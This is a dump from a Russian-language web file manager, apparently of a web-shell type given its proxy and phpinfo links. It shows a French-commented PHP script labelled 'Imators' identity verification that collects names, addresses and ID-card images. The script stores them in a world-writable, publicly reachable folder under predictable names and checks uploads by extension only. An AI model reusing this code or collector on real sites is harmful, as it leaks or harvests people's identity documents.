Файловый менеджер - Редактировать - /home/gqdcvggs/.trash/upload.php.1
Назад
<?php header('Content-Type: application/json'); // Configuration $uploadDir = 'folder/'; $maxFileSize = 5 * 1024 * 1024; // 5MB // Créer le dossier s'il n'existe pas if (!file_exists($uploadDir)) { mkdir($uploadDir, 0777, true); } // Vérification des données if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(405); die(json_encode(['error' => 'Méthode non autorisée'])); } try { // Récupération des données $data = [ 'nom' => $_POST['nom'], 'prenom' => $_POST['prenom'], 'rue' => $_POST['rue'], 'numero' => $_POST['numero'], 'pays' => $_POST['pays'], 'date' => date('Y-m-d H:i:s') ]; // Sauvegarde du fichier texte $textContent = "Vérification d'identité Imators\n"; $textContent .= "==============================\n\n"; $textContent .= "Date: {$data['date']}\n\n"; $textContent .= "Informations personnelles:\n"; $textContent .= "------------------------\n"; $textContent .= "Nom: {$data['nom']}\n"; $textContent .= "Prénom: {$data['prenom']}\n"; $textContent .= "Adresse: {$data['numero']} {$data['rue']}, {$data['pays']}\n"; $textFile = $uploadDir . 'info_' . time() . '.txt'; file_put_contents($textFile, $textContent); // Gestion des images $files = ['cardFront', 'cardBack']; $uploadedFiles = []; foreach ($files as $fileKey) { if (isset($_FILES[$fileKey]) && $_FILES[$fileKey]['error'] === UPLOAD_ERR_OK) { $file = $_FILES[$fileKey]; // Vérifications if ($file['size'] > $maxFileSize) { throw new Exception("Le fichier $fileKey est trop volumineux"); } $fileInfo = pathinfo($file['name']); $extension = strtolower($fileInfo['extension']); if (!in_array($extension, ['jpg', 'jpeg', 'png'])) { throw new Exception("Format de fichier non autorisé pour $fileKey"); } // Upload $newFilename = $uploadDir . $fileKey . '_' . time() . '.' . $extension; if (!move_uploaded_file($file['tmp_name'], $newFilename)) { throw new Exception("Erreur lors de l'upload de $fileKey"); } $uploadedFiles[$fileKey] = $newFilename; } } echo json_encode([ 'success' => true, 'message' => 'Données sauvegardées avec succès', 'files' => [ 'text' => $textFile, 'images' => $uploadedFiles ] ]); } catch (Exception $e) { http_response_code(400); echo json_encode([ 'error' => $e->getMessage() ]); }
| ver. 1.6 |
Github
|
.
| PHP 8.1.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка